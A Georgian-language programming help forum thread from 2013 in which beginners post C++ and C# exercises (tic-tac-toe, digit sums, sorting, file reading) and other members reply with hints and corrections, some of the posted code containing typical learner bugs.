Posted by: rezomegrelidze 3 May 2013, 11:27
კრესწიკი ნულიკის თამაშს ვწერ, და დახმარება მჭირდება.
როგორ გავაკეთო ისე, რომ როდოსეაც შევიყვან invalid move-ს ანუ რაც არ იქნება 1 დან 9-მდე. მაშინ კიდევ ერთხელ მომცეს იმის საშუალება, რომ შევიყვანო სვლა.

ალბათ bool დაჭირდება, ვცადე რაღაცეები მარა არ გამოვიდა.

აგერ კოდი

CODE

#include <iostream>

using namespace std;

void DrawBoard();
void PlayerMarkSwitch();
void Player2MarkSwitch();

char boardNumber[9] = {'1','2','3','4','5','6','7','8','9'};
char PlayerMark;
char Player2Mark;

bool Movevаlid = true;

int main()
{
//declaring variables

system("color f0");

char ans = 'y';


DrawBoard();
//drawing the board
while(ans = 'y')
{
//If statments
if(boardNumber[0]==boardNumber[1]&&boardNumber[2]==boardNumber[1])
 {
  break;
 }
 else if(boardNumber[3]==boardNumber[4]&&boardNumber[5]==boardNumber[4])
 {
  break;
 }
 else if(boardNumber[6]==boardNumber[7]&&boardNumber[8]==boardNumber[7])
 {
  break;
 }
 else if(boardNumber[6]==boardNumber[4]&&boardNumber[2]==boardNumber[4])
 {
  break;
 }
 else if(boardNumber[0]==boardNumber[4]&&boardNumber[8]==boardNumber[4])
 {
  break;
 }
 else if(boardNumber[1]==boardNumber[4]&&boardNumber[7]==boardNumber[4])
 {
  break;
 }
 else if(boardNumber[0]==boardNumber[3]&&boardNumber[6]==boardNumber[3])
 {
  break;
 }
 else if(boardNumber[2]==boardNumber[5]&&boardNumber[8]==boardNumber[5])
 {
  break;
 }

//End of If Statment



//Asking player for his move


cout << "Enter you move ";

cin >> PlayerMark;


PlayerMarkSwitch();
//Drawing the board
cout << "\n";

DrawBoard();




//If statment
if(boardNumber[0]==boardNumber[1]&&boardNumber[2]==boardNumber[1])
{
 break;
}
else if(boardNumber[3]==boardNumber[4]&&boardNumber[5]==boardNumber[4])
{
 break;
}
else if(boardNumber[6]==boardNumber[7]&&boardNumber[8]==boardNumber[7])
{
 break;
}
else if(boardNumber[6]==boardNumber[4]&&boardNumber[2]==boardNumber[4])
{
 break;
}
else if(boardNumber[0]==boardNumber[4]&&boardNumber[8]==boardNumber[4])
{
 break;
}
else if(boardNumber[1]==boardNumber[4]&&boardNumber[7]==boardNumber[4])
{
 break;
}
else if(boardNumber[0]==boardNumber[3]&&boardNumber[6]==boardNumber[3])
{
 break;
}
else if(boardNumber[2]==boardNumber[5]&&boardNumber[8]==boardNumber[5])
{
 break;
}

//End of If Statment

//Asking 2nd player for his move
cout << "Enter you move ";

cin >> Player2Mark;

Player2MarkSwitch();

//Drawing the board
cout << "\n";

DrawBoard();


}


system("pause");
}



void DrawBoard()
{
for(int i = 0;i<=2;i++)
{
 cout << " | " << boardNumber[i] <<  " | ";
}

cout << "\n";
cout << "\n";
cout << "====================" << endl;
cout << "====================";
cout << "\n";
cout << "\n";

for(int i = 3;i<=5;i++)
{
 cout << " | " << boardNumber[i] <<  " | ";
}
cout << "\n";
cout << "\n";
cout << "====================" << endl;
cout << "====================";
cout << "\n";
cout << "\n";

for(int i = 6;i<=8;i++)
{
 cout << " | " << boardNumber[i] <<  " | ";
}
cout << "\n\n";
}

void PlayerMarkSwitch()
{
switch(PlayerMark)
{
case '1':
 if(boardNumber[0]=='1')
 {;
 boardNumber[0] = 'X';
 }
 break;
case '2':
 if(boardNumber[1]=='2')
 {
 boardNumber[1] = 'X';
 }
 break;
case '3':
 if(boardNumber[2]=='3')
 {
 boardNumber[2] = 'X';
 }
 break;
case '4':
 if(boardNumber[3]=='4')
 {
 boardNumber[3] = 'X';
 }
 break;
case '5':
 if(boardNumber[4]=='5')
 {
 boardNumber[4] = 'X';
 }
 break;
case '6':
 if(boardNumber[5]=='6')
 {
 boardNumber[5] = 'X';
 }
 break;
case '7':
 if(boardNumber[6]=='7')
 {
 boardNumber[6] = 'X';
 }
 break;
case '8':
 if(boardNumber[7]=='8')
 {
 boardNumber[7] = 'X';
 }
 break;
case '9':
 if(boardNumber[8]=='9')
 {
 boardNumber[8] = 'X';
 }
 break;
default:
cout << "\n";
cout << "Only numbers from 1 to 9 are allowed try again";
cout << "\n";
}
}

void Player2MarkSwitch()
{
 switch(Player2Mark)
{
case '1':
 if(boardNumber[0]=='1')
 {
 boardNumber[0] = 'O';
 }
 break;
case '2':
 if(boardNumber[1]=='2')
 {
 boardNumber[1] = 'O';
 }
 break;
case '3':
 if(boardNumber[2]=='3')
 {
 boardNumber[2] = 'O';
 }
 break;
case '4':
 if(boardNumber[3]=='4')
 {
 boardNumber[3] = 'O';
 }
 break;
case '5':
 if(boardNumber[4]=='5')
 {
 boardNumber[4] = 'O';
 }
 break;
case '6':
 if(boardNumber[5]=='6')
 {
 boardNumber[5] = 'O';
 }
 break;
case '7':
 if(boardNumber[6]=='7')
 {
 boardNumber[6] = 'O';
 }
 break;
case '8':
 if(boardNumber[7]=='8')
 {
 boardNumber[7] = 'O';
 }
 break;
case '9':
 if(boardNumber[8]=='9')
 {
 boardNumber[8] = 'O';
 }
 break;
default:
 cout << "\n";
 cout << "Only numbers from 1 to 9 are allowed try again";
 cout << "\n";
}
}

Posted by: Dixtosa 3 May 2013, 11:39
QUOTE
bool

თუ loop?biggrin.gif


ციკლში მოაქციე რა

cin>>input;
while (!(1<=input && input<=9))
{
cin>>input;
}


p.s. კოდის გარჩევას არ ვაპირებ მარა void Player2MarkSwitch() რომ გადავხედე მინდა გითხრა რომ მეთოდის იმპლემენტაცია არის საზიზღრობა.

არ უნდა სვიჩი.

მანამ რაღაცის წერას დაიწყებ ჯერ დაფიქრი იქნებ მაგის იმპლემენტაცია უფრო მარტივად შეგიძლია.

Posted by: rezomegrelidze 3 May 2013, 11:48
Dixtosa

იქნებ გადაგეხედა და მოგვარებული კოდი დაგედო.

შენ ამბობ, რომ switch არის საზიზღობაო, მარა შენ, რომ იცოდე ზოგი if-ებითაც აკეთებდა ამას.

არ ვარ მიჩვეული საკუთარი კოდის წერას, ყოველთვის სხვის კოდებს ვარჩევ ხოლმე (ვსწავლობ და). დიდი მინუსია.

Posted by: Dixtosa 3 May 2013, 12:12
if (boardNumber[Player2Mark-'0'-1]==Player2Mark)
{
boardNumber[Player2Mark-'0'-1] = 'O';
}
ეს მარტო ის ფუნქცია სხხვა არ მინახავს

შენით თუ არ დაწერ არ გამოვა არაფერი.

Posted by: Kamanch 8 May 2013, 18:21
ერთ ჩვეულებრივ ნუბს მომაქციეთ რა ყურადღება biggrin.gif
ricxvebi dafaze
C++ daprogramebis enaze momxmareblis mier Seqmnili klasebis gamo-ye¬nebiT SeadgineT Semdegi amocanis gadawyvetis programa.
amocana:
nxn (3<=n<=100) zomis dafaze, romelic saWadrako dafis analogiuradaa dayo¬fi¬li Sav da TeTr ujrebad, yovel ujredSi Cawerilia orniSna ricxvi. ipveT Sav ujredebSi Cawerili ricxvebis jami, Tuki dafis zeda marcxena ujra TeTria.
Semavali monacemebi: pirvel striqonSi mocemulia erTi mTeli n ricxvi, meore striqonidan n+1 striqonamde - TiToeulSi mocemulia n cali orniSna ric¬xvi.
gamomavali monacemebi: erTaderT striqonSi erTi mTeli ricxvi, romelic war¬moadgens Sav ujrebSi Caweril ricxvTa jams.
Semavali monacemebis magaliTi:
3
12 25 78
19 38 91
37 42 63
miTiTeba: TiToeuli Savi ujredis indeqsTa jami aris kenti, xolo TiToeuli TeTri ujredis indeqsTa jami – luwi. masivic am pirobiT unda Semowmdes.

ესაა ჩემი დაწერილი მარა შავი უჯრების ამომცნობი ფუნქცია ვერ ავამუშავე ნორმალურად.... რანაირად აღარ ჩავწერე ციკლი მარა... ან ვაფშე მატრიცა თუ მაქ სწორად ჩაწერილი?

#include <iostream>
#include <fstream>
#include <iomanip>
#include <stdlib.h>
using namespace std;
class rame
{
public:
rame();
void datvla();
private:
int a[1][1];
int n;
};
rame::rame()

{
srand(time(0));
n=2+rand()%9;
cout<<n<<endl;
cout<<endl;
for(int i=0; i<n; i++)
{
for(int j=0; j<n; j++)
{
a[n][n]=10+rand()%90;
cout<<setw(4)<<a[n][n];
}
cout<<endl;
}

}
void rame::datvla()
{
int k=0;
for(int i=0; i<n; i++)
{
for(int j=0; j<n; j++)
if((i+j)%2!=0)
{
k=k+a[i][j];

}
}

cout<<"\njamia: "<<k<<endl;
}
int main()
{
rame x;
x.datvla();
system("pause");
}

Posted by: Dixtosa 8 May 2013, 19:22
Kamanch
აი ეგ პირობა ქართულად დაწერე და პრობლემის ლოკალიზება მოახდინე მაქსიმალურად და კოდი პასტებინ.ორგ-ზე დადე და დაგეხმარებიან

Posted by: Geooo 10 May 2013, 17:28
QUOTE
ვთქვათ, it იტერატორზე სრულდება შემდეგი მოქმედებები:  it++; *it != a; it == b;
დაასახელეთ იტერატორების ყველაზე ვრცელი კატეგორია, რომელსაც ეკუთვნის it


ეს როგორ გავაკეთო? mo.gif
კონსპექტები არ მაქვს აქ და ვერ გავუგე, საღამომდე მინდოდა დამუღამება ..
თუ დამეხმარებით დამავალებთ mo.gif

Posted by: why_me? 10 May 2013, 18:31
ეს ყველაფერი ხელითაა დასაწერი? შევცვალო ფაკულტეტი? mad.gif

QUOTE

#include <iostream>

using namespace std;

void DrawBoard();
void PlayerMarkSwitch();
void Player2MarkSwitch();

char boardNumber[9] = {'1','2','3','4','5','6','7','8','9'};
char PlayerMark;
char Player2Mark;

bool Movevаlid = true;

int main()
{
//declaring variables

system("color f0");

char ans = 'y';


DrawBoard();
//drawing the board
while(ans = 'y')
{
//If statments
if(boardNumber[0]==boardNumber[1]&&boardNumber[2]==boardNumber[1])
 {
  break;
 }
 else if(boardNumber[3]==boardNumber[4]&&boardNumber[5]==boardNumber[4])
 {
  break;
 }
 else if(boardNumber[6]==boardNumber[7]&&boardNumber[8]==boardNumber[7])
 {
  break;
 }
 else if(boardNumber[6]==boardNumber[4]&&boardNumber[2]==boardNumber[4])
 {
  break;
 }
 else if(boardNumber[0]==boardNumber[4]&&boardNumber[8]==boardNumber[4])
 {
  break;
 }
 else if(boardNumber[1]==boardNumber[4]&&boardNumber[7]==boardNumber[4])
 {
  break;
 }
 else if(boardNumber[0]==boardNumber[3]&&boardNumber[6]==boardNumber[3])
 {
  break;
 }
 else if(boardNumber[2]==boardNumber[5]&&boardNumber[8]==boardNumber[5])
 {
  break;
 }

//End of If Statment



//Asking player for his move


cout << "Enter you move ";

cin >> PlayerMark;


PlayerMarkSwitch();
//Drawing the board
cout << "\n";

DrawBoard();




//If statment
if(boardNumber[0]==boardNumber[1]&&boardNumber[2]==boardNumber[1])
{
 break;
}
else if(boardNumber[3]==boardNumber[4]&&boardNumber[5]==boardNumber[4])
{
 break;
}
else if(boardNumber[6]==boardNumber[7]&&boardNumber[8]==boardNumber[7])
{
 break;
}
else if(boardNumber[6]==boardNumber[4]&&boardNumber[2]==boardNumber[4])
{
 break;
}
else if(boardNumber[0]==boardNumber[4]&&boardNumber[8]==boardNumber[4])
{
 break;
}
else if(boardNumber[1]==boardNumber[4]&&boardNumber[7]==boardNumber[4])
{
 break;
}
else if(boardNumber[0]==boardNumber[3]&&boardNumber[6]==boardNumber[3])
{
 break;
}
else if(boardNumber[2]==boardNumber[5]&&boardNumber[8]==boardNumber[5])
{
 break;
}

//End of If Statment

//Asking 2nd player for his move
cout << "Enter you move ";

cin >> Player2Mark;

Player2MarkSwitch();

//Drawing the board
cout << "\n";

DrawBoard();


}


system("pause");
}



void DrawBoard()
{
for(int i = 0;i<=2;i++)
{
 cout << " | " << boardNumber[i] <<  " | ";
}

cout << "\n";
cout << "\n";
cout << "====================" << endl;
cout << "====================";
cout << "\n";
cout << "\n";

for(int i = 3;i<=5;i++)
{
 cout << " | " << boardNumber[i] <<  " | ";
}
cout << "\n";
cout << "\n";
cout << "====================" << endl;
cout << "====================";
cout << "\n";
cout << "\n";

for(int i = 6;i<=8;i++)
{
 cout << " | " << boardNumber[i] <<  " | ";
}
cout << "\n\n";
}

void PlayerMarkSwitch()
{
switch(PlayerMark)
{
case '1':
 if(boardNumber[0]=='1')
 {;
 boardNumber[0] = 'X';
 }
 break;
case '2':
 if(boardNumber[1]=='2')
 {
 boardNumber[1] = 'X';
 }
 break;
case '3':
 if(boardNumber[2]=='3')
 {
 boardNumber[2] = 'X';
 }
 break;
case '4':
 if(boardNumber[3]=='4')
 {
 boardNumber[3] = 'X';
 }
 break;
case '5':
 if(boardNumber[4]=='5')
 {
 boardNumber[4] = 'X';
 }
 break;
case '6':
 if(boardNumber[5]=='6')
 {
 boardNumber[5] = 'X';
 }
 break;
case '7':
 if(boardNumber[6]=='7')
 {
 boardNumber[6] = 'X';
 }
 break;
case '8':
 if(boardNumber[7]=='8')
 {
 boardNumber[7] = 'X';
 }
 break;
case '9':
 if(boardNumber[8]=='9')
 {
 boardNumber[8] = 'X';
 }
 break;
default:
cout << "\n";
cout << "Only numbers from 1 to 9 are allowed try again";
cout << "\n";
}
}

void Player2MarkSwitch()
{
 switch(Player2Mark)
{
case '1':
 if(boardNumber[0]=='1')
 {
 boardNumber[0] = 'O';
 }
 break;
case '2':
 if(boardNumber[1]=='2')
 {
 boardNumber[1] = 'O';
 }
 break;
case '3':
 if(boardNumber[2]=='3')
 {
 boardNumber[2] = 'O';
 }
 break;
case '4':
 if(boardNumber[3]=='4')
 {
 boardNumber[3] = 'O';
 }
 break;
case '5':
 if(boardNumber[4]=='5')
 {
 boardNumber[4] = 'O';
 }
 break;
case '6':
 if(boardNumber[5]=='6')
 {
 boardNumber[5] = 'O';
 }
 break;
case '7':
 if(boardNumber[6]=='7')
 {
 boardNumber[6] = 'O';
 }
 break;
case '8':
 if(boardNumber[7]=='8')
 {
 boardNumber[7] = 'O';
 }
 break;
case '9':
 if(boardNumber[8]=='9')
 {
 boardNumber[8] = 'O';
 }
 break;
default:
 cout << "\n";
 cout << "Only numbers from 1 to 9 are allowed try again";
 cout << "\n";


Posted by: rezomegrelidze 10 May 2013, 19:09
why_me?

თუ არ გიყვარს ეს საქმე, მაშინ აშკარად უნდა შეცვალო.

Posted by: Devastator 22 May 2013, 20:39
მაქვს ცალკე გაკეთებული ფუნქცია (int), რომელშიც მაქვს რამდენიმე ციკლი. ეს ციკლები წყდება break ოპერატორით თუ რაღაც პირობა არ დაკმაყოფილდა.
მინდა რომ main ფუნქციაში ეს ფუნქცია ახლიდან გაეშვას, თუ ციკლი გაწყდა პირობის გამო. როგორ შეიძლება გაკეთება?

Posted by: Marthin_Luther_King 22 May 2013, 20:49
Devastator
goto
........................................

Posted by: Devastator 23 May 2013, 00:18
Marthin_Luther_King
biggrin.gif biggrin.gif ეს რა კაი რაღაც ყოფილა და არ ვიცოდი... მადლობა smile.gif
* * *
ესეთი რაღაც მინდა: მაქვს მასივი მაგალითად სიმარტივისთვის 6 ელემენტიანი. მინდა ამ მასივს მივმართო რანდომით... ანუ მასივში არის უკვე ელემენტები და მინდა, რომ სხვადასხვა დროს სხვადასხვა რაოდენობის ელემენტები გამოვიტანო, მაგალითად 0-დან 4-მდე, 0-დან 2-მდე ან სრულად, გააჩნია რანდომი რა რიცხვს ამოაგდებს 1-დან 6-მდე. დავწერე ეს კოდი:
#include "stdafx.h"
#include <iostream>
#include <stdlib.h>
#include <time.h>
using namespace std;


int _tmain(int argc, _TCHAR* argv[])
{
srand (time(NULL));
int randIndex;
int i=0;
int mass[]={1,2,3,4,5,6};
randIndex = rand() %6;


for(i=0;i<randIndex;i++);
{
cout<<mass[i]<<endl;
}
return 0;
}
მარა რატომღაც აგდებს მარტო ერთ ორონდ შემთხვევითს(?) რა მეშლება? და კიდევ ამ გაფრთხილებას მიგდებს:

Warning 1 warning C4244: 'argument' : conversion from 'time_t' to 'unsigned int', possible loss of data

Posted by: jazzsoul 29 May 2013, 19:37
ერთი ამოცანა მაქვს და ამოხსნა გამიჭირდა. პირდაპირ ამოხსნა არ მინდა, მინიშნება მომეცით.
ამოცანა:
1-დან 10000-მდე უნდა დავატრიალოციკლი, სადაც ისეთი რიცხვები რომელთა ციფრთა ჯამი არის კენტი, უნდა გამოიტანოს და შეაჯამოს.
მაგ. 1+2+4=7.
ანუ მაწყობს.
რაღაცეები ვიწვალე მაგრამ მაინც უცნაურ რიცხვებს მიწერს.

Posted by: rezomegrelidze 29 May 2013, 20:14
jazzsoul

კენტრი რიცხვები გინდა, რომ გამოგიყაროს?

CODE

#include <iostream>
using namespace std;



int main()
{
   for(int i = 0; i  < 10000;i++)
   {
       if(i % 2 != 0)
       {
       cout << i << endl;
       }

   }

}



ბარემ ლუწის და კენტის განმარტებასაც დაგიდებ.

ლუწის ფორმულა არის 2k სადაც k არის ნებისმიერი მთელი რიცხვი.

კენტი არის 2k+1. k აქაც ნებისმიერ მთელ რიცხვს აღნიშნავს.

Posted by: jazzsoul 29 May 2013, 20:17
QUOTE (rezomegrelidze @ 29 May 2013, 19:14 )
jazzsoul

კენტრი რიცხვები გინდა, რომ გამოგიყაროს?

CODE

#include <iostream>
using namespace std;



int main()
{
   for(int i = 0; i  < 10000;i++)
   {
       if(i % 2 != 0)
       {
       cout << i << endl;
       }

   }

}


არა, ისეთი რიცხვების ჯამი, რომლის ციფრთა ჯამი არის კენტი.. ანუ:
124 - 1+2+4=7
542 - 5+4+2=11
ესეთები.

Posted by: rezomegrelidze 29 May 2013, 20:26
jazzsoul

ვერ ვაკეთებ. ტვინი ამტკივდა. biggrin.gif

Posted by: jazzsoul 29 May 2013, 20:27
QUOTE (rezomegrelidze @ 29 May 2013, 19:26 )
jazzsoul

ვერ ვაკეთებ. ტვინი ამტკივდა. biggrin.gif

მაინც მადლობა ის კოდიც დამეხმარება რაღაცაში.

Posted by: samuraisxmali 29 May 2013, 22:40
CODE
static void Main(string[] args)
       {
           for (int i = 0; i < 25; i++)
           {
               KentiJamit(i);
           }
           Console.ReadKey();
       }

       public static void KentiJamit(int ricxvi)
       {
           int result = 0;

           char[] ch = ricxvi.ToString().ToCharArray();

           foreach (char c in ch)
           {
               result += int.Parse(c.ToString());
           }

           if (result % 2 == 1)
           {
               Console.WriteLine("{0}-is cifrebis jami kentia, kerdzod - {1}", ricxvi, result);
           }
           else
               Console.WriteLine("{0}-is cifrebis jami luwia, kerdzod - {1}", ricxvi, result);
       }


C#-ში ესეა და გადაიყვანე. ვინმე შემოვა და უკეთესსაც დაწერს ალბათ.

Posted by: Dixtosa 29 May 2013, 23:11
jazzsoul
ათზე დანაშთე მერე ათზე გაყავი და ასე შემდეგ.

Posted by: jazzsoul 30 May 2013, 17:36
QUOTE (Dixtosa @ 29 May 2013, 22:11 )
jazzsoul
ათზე დანაშთე მერე ათზე გაყავი და ასე შემდეგ.

for(i=0;i<10000;i++)
{
if(i%10!=2)
{
cout<<i<<endl;
}
ანუ i გავყო ათზე?
* * *
მასივის გარეშეც ვცადე.
#include<iostream>
using namespace std;
main (){
int a,b,c,i;
int m[10000];
for(i=0;i<10000;i++)
{
if(i%2!=0)
{cout<<i<<endl;}
i%10;
m[i]==i;

cout<<i<<endl;
}

system("PAUSE");
}

Posted by: samuraisxmali 31 May 2013, 11:13
jazzsoul
პირდაპირ ი არ გამოიტანო Dixtosa-მ კარგი იდეა მოგაწოდა. 10-ზე გაყოფით ნაშთის აღების ოპერაცია ბოლო ციფრს გაძლევს, რომელიც შენთვის არის დაჯამების პირველი ციფრი, მერე კიდე 10-ზე ყოფ, ერთი ციფრით ნაკლები რიცხვი რომ მიიღო.

CODE
private static int RicxvisCifrebisJami(int ricxvi)
       {
           int jami = 0;
           while (ricxvi > 0)
           {
               int nashti = ricxvi % 10;
               jami += nashti;
               ricxvi = ricxvi / 10;
           }
           return jami;
       }

Posted by: rezomegrelidze 31 May 2013, 17:34

goto-ს გამოყენებით მინდა, რომ გავაკეთო ორმაგი ციკლი (While loop ან რაც გინდათ ის დაარქვით)


1 loop ასე კეთდება.

CODE

        int a = 0;


       Loop:

           if (a < 10)
           {
               a++;
               goto Loop;
           }

          cout << a << endl;  // 10 gamova

     



ორმაგი როგორ გავაკეთო?

ასემბლის სწავლაში დამეხმარება. jmp და goto თითქმის იგივეა. ხოდა თუ goto-ში ვისწავლი როგორ გავაკეთო ორმაგი ციკლი, მაშინ asm-შიც გამომივა. ბევრ ალგორითმს ჭირდება და მაგიტომ მაინტერესებს.











Posted by: Farel0x 31 May 2013, 18:40
rezomegrelidze
სტატუს ალმებიც(EFlags) ისწავლე თუ ციკლს,პირობის ოპერატორებს სწავლობ asm ში.

Posted by: jazzsoul 13 Jun 2013, 16:26
მასივი როგორ უნდა დავალაგო კლებადობით? პირდაპირ კოდი არ მინდა მინიშნება მირჩევნია.

Posted by: rezomegrelidze 13 Jun 2013, 16:48
jazzsoul

მაგას ქვია სორტირება.

include გაუკეთე <algorithm>-ს.

ანუ #include <algorithm>

და შემდეგ გამოიყენე sort() ფუნქცია.

აი ამ ფუნქციის გამოყნების მაგალითი:

CODE

// sort algorithm example
#include <iostream>     // std::cout
#include <algorithm>    // std::sort
#include <vector>       // std::vector

bool myfunction (int i,int j) { return (i<j); }

struct myclass {
 bool operator() (int i,int j) { return (i<j);}
} myobject;

int main () {
 int myints[] = {32,71,12,45,26,80,53,33};
 std::vector<int> myvector (myints, myints+8);               // 32 71 12 45 26 80 53 33

 // using default comparison (operator <):
 std::sort (myvector.begin(), myvector.begin()+4);           //(12 32 45 71)26 80 53 33

 // using function as comp
 std::sort (myvector.begin()+4, myvector.end(), myfunction); // 12 32 45 71(26 33 53 80)

 // using object as comp
 std::sort (myvector.begin(), myvector.end(), myobject);     //(12 26 32 33 45 53 71 80)

 // print out content:
 std::cout << "myvector contains:";
 for (std::vector<int>::iterator it=myvector.begin(); it!=myvector.end(); ++it)
   std::cout << ' ' << *it;
 std::cout << '\n';

 return 0;
}


ეს კოდი http://www.cplusplus.com -იდან გადმოვაკოპირე.


Posted by: Farel0x 13 Jun 2013, 21:01
jazzsoul
ზემოთ რაც დაგიდეს გამოგადგება და კარგია მაგრამ არ გირჩევ თუ დამწყები ხარ მზა ფუნქციების გამოყენებას. თან ამ ასქმისთვის უაზროდ რთული(იმასთან შედარებით რაც რეალურად უნდა იყოს) და დიდია.

სორტირების ბევრი ალგორითმი არსებობს მათ შორის Bubble Sort,Quick Sort,Select Sort და ა.შ
bubble sort ის მაგალითს მოგიყვან
ადარებ პირველ ორ ელემენტს,თუ მეორე ნაკლებია პირველზე მაშინ გაუცვლი ადგილებს.შემდეგ მეორე და მესამე და ა.შ

ინტერნეტში ნახე "Bubble Sort" საილუსტრაციო მაგალითები და მიხვდები.

Posted by: Dixtosa 13 Jun 2013, 21:33
QUOTE
ინტერნეტში ნახე "Bubble Sort" საილუსტრაციო მაგალითები და მიხვდები.

იუთუბზე ვაფშე ზე მაგარი ვიდეოებია : ))

Posted by: rezomegrelidze 13 Jun 2013, 22:26
BubbleSort

CODE

#include <iostream>

using namespace std;

int main()
{
 
    int numb[5] = {5,4,3,2,1};

   for(int i = 0; i < sizeof(numb)/sizeof(numb[0]); i++)
{
 for( int j = i + 1; j < sizeof(numb)/sizeof(numb[0]);j++)
{
  int temp;

  if (numb[i] > numb[j])
{
  temp = numb[i];
  numb[i] = numb[j];
 numb[j] = temp;
}
}


}


//მასივი სორტირებულია, მოდი ახლა გამოვიტანოთ.


for(int i = 0; i < sizeof(numb)/sizeof(numb[0]);i++)
{
           cout << numb[i] << endl;  
}


}

Posted by: Farel0x 13 Jun 2013, 22:33
QUOTE
for(int i = 0; i < sizeof(numb)/sizeof(numb[0]); i++)

ამ შემთხვევაში ჯობს,რომ sizeof(numb)/sizeof(numb[0]) გავიტანოთ for ციკლის გარეთ და რაიმე size_t(unsigned int) ტიპის ცვლადს გავუტოლოთ.

მაგ: size_t z = sizeof(numb)/sizeof(numb[0]);
და for ციკლში შევიტანოთ უკვე z ცვლადი, ასე უფრო კარგი იქნება.

Posted by: rezomegrelidze 13 Jun 2013, 22:40
Farel0x

არასდროს შემიქმნია ეგეთი ცვლადი.
მარა გაგებული მქონდა, რომ არსებობს.


ფორუმში დავწერე და იმიტომაც არ აქვს ინდენტაცია.

ესე ჯობია:

CODE


#include <iostream>

using namespace std;

int main()
{

int numb[5] = {5,4,3,2,1};

size_t length = sizeof(numb)/sizeof(numb[0];

for(int i = 0;i < length; i++)
 for(int j = i + 1; j < length; j++)
 {
  int temp;
  if(numb[i] > numb[j])
  {
   temp = numb[i];
   numb[i] = numb[j];
   numb[j] = temp;
  }
 
 }
 
 
for(int i = 0; i < length; i++)
 cout << numb[i] << endl;


}

Posted by: Farel0x 13 Jun 2013, 22:48
rezomegrelidze
size_t უბრალოდ unsigned int ია, MACRO ა.
QUOTE
#define unsigned int size_t


მაგრამ საქმე არ არის size_t ში.
ჩემი პოსტი ეხებოდა ხშირ "sizeof(numb)/sizeof(numb[0])" ის გამოყენებას. მისი ხშირად გამოყენება არ ვარგა იმიტომ,რომ პროგრამას შედარებით ნელს ხდის.

წარმოიდგინე კომპილერი მიდის ამ ბრძანებასთან და ითვლის ჯერ ერთის ზომას,მერე მეორეს და ბოლოს ყოფს ერთმანეთზე,ასრულებს 3 ოპერაციას.
ასე აკეთებს 3 ჯერ ანუ ჯამში 9 ოპერაციას ასრულებს ტყუილ უბრალოდ.

ჯობია გამოითვალოს ერთხელ მასივის ელემენტების რაოდენობა და მიანიჭოს ერთ ცვლადს.
გააკეთებს მხოლოდ 3 ოპერაციას და დანარჩენ დროს აღარ დახარჯავს 6 ოპერაციაზე smile.gif

დიდი არაფერი მაგრამ მაინც მოვაყოლე.
---------
კი, ეგრე ჯობს smile.gif

Posted by: Dixtosa 13 Jun 2013, 23:31
sizeof(numb)/sizeof(numb[0]) კონსტანტური გამოსახულებაა და კომპილერი ცხადია ბევრჯერ არ გამოთვლის. კომპილერია ბოლოსდაბოლოს



ეს ისე :დ

Posted by: Farel0x 13 Jun 2013, 23:37
Dixtosa
ითვლის ითვლის wink.gif

Posted by: Dixtosa 13 Jun 2013, 23:44
Farel0x

CODE
bool numb[1000000000];

void F(int & i)
{
i++;
}

int main()
{
double TIME1 = clock()*1.0;


for(int i = 0; i < sizeof(numb)/sizeof(numb[0]); )
 F(i);

double TIME2 = clock()*1.0;

int d= sizeof(numb)/sizeof(numb[0]);
for(int i = 0; i < d; )
 F(i);

double TIME3 = clock()*1.0;

cout<<TIME3-TIME2<<" "<<TIME2-TIME1;

//printf("\n\ntime-%.3lf", clock()*1e-3);
return 0;
}


ოუტპუტ:
24828 24547

:გივი:
ეს დებაგზე



და რელიზი ვაფშე გიჟ რაღაცეებს ხვდება და ამიტომ ბეჭდავს 0 0-ს ბეჭდავს : )

(ნუ არამგონია რომ 1000000000 ციკლს ამდენ ხანში აკეთებდეს. ცადია რაღაცას მიუხვდა :დ:დ:დ)

Posted by: rezomegrelidze 13 Jun 2013, 23:44
Dixtosa

თუ არ ითვლის, საიდან მიხვდება რამდენია sizeof(numb)/sizeof(numb[0])


გაყოფა ხდება ბოლოს და ბოლოს.



Posted by: Dixtosa 13 Jun 2013, 23:49
rezomegrelidze
:|

ფოკუსნიკია :|

[ბ]ბევრჯერ[/ბ] არ ითვლის თორე თავიდან როგორ არ ითვლის

Posted by: rezomegrelidze 13 Jun 2013, 23:53
Dixtosa

QUOTE
[ბ]ბევრჯერ[/ბ] არ ითვლის თორე თავიდან როგორ არ ითვლის


საიდან იცი?


Posted by: MisterLee 14 Jun 2013, 11:04
C/C++ ტუტორიალები საიტიდან

http://www.g3b.ge

გადატანილია საიტზე

http://www.LiveFiligree.ge

კითხვებზე პასუხებიც აქვეა

ტუტორიალების ნახვა შეიძლება ასე:

user posted image


საჭიროა რეგისტრაცია ! smile.gif

Posted by: jazzsoul 14 Jun 2013, 18:34
თითქმის გავაკეთე, მადლობა....................
* * *
#include<iostream>
using namespace std;
main ()
{
int i,n,p,q,t;
cin>>n;
int m[n];
cin>>p>>q;
for(i=0;i<n;i++)
{
cin>>m[i];
}
for(i=p;i<q;i++)
{
swap(m[p],m[q]);
}

for(i=0;i<n;i++)
{
cout<<m[i]<<" ";
}
system("pause");
}


ეს გავაკეთე, მაგრამ მაინც არასწორია.
* * *
ეს კოდია!!!
#include<iostream>
using namespace std;
main ()
{
int i,n,p,q,t;
cin>>n;
int m[n];

for(i=0;i<n;i++)
{
cin>>m[i];
}
cin>>p>>q;
int k=0;
for(i=p;i<=(p+q)/2;i++)
{
swap(m[i],m[q-k]);
k=k+1;
}

for(i=0;i<n;i++)
{
cout<<m[i]<<" ";
}
system("pause");
}

Posted by: jazzsoul 18 Jun 2013, 14:07
ფაილიდან როგორ უნდა წავიკითხო?
ანუ crusade.in ფაილში მიწერია 5 15 და მინდა რომ გამოვიტანო ეკრანზე და როგორ გავაკეთო?
* * *
#include<iostream>
#include <fstream>
#include <string>
using namespace std;
main ()
{
int input[100];
int x=0;
fstream myfile;
myfile.open ("crusade.out");
while(! myfile.eof())
{
myfile >> input[x];
cout<<input[x]<<endl;

}


myfile.close();



system("pause");
}


ეს გავაკეთე და უაზრო ციფრი გამოაქვს.

Posted by: alexandrius 1 Jul 2013, 00:56
jazzsoul
crusade.in-ში თუ გაქვს ციფრები. კოდში crusade.out რატომ გიწერია?

Posted by: Dixtosa 1 Jul 2013, 01:21
jazzsoul
დაანებე ჯეოლიმპს თავი და ჯერ ცპპ ისწავლე ; ))

Posted by: Informirebuli 2 Jul 2013, 00:04
jazzsoul

CODE

ifstream myfile ("crusade.in");
while(myfile){
   myfile>>input[x];
   cout<<input[x];
   x++;
}

Posted by: GeTto379 15 Jul 2013, 23:14
NewBie-ური კითხვა....
ქართული არ შეიძლება ხო?
http://www.picz.ge

Posted by: Gio_MVS_Cpp 16 Jul 2013, 16:23
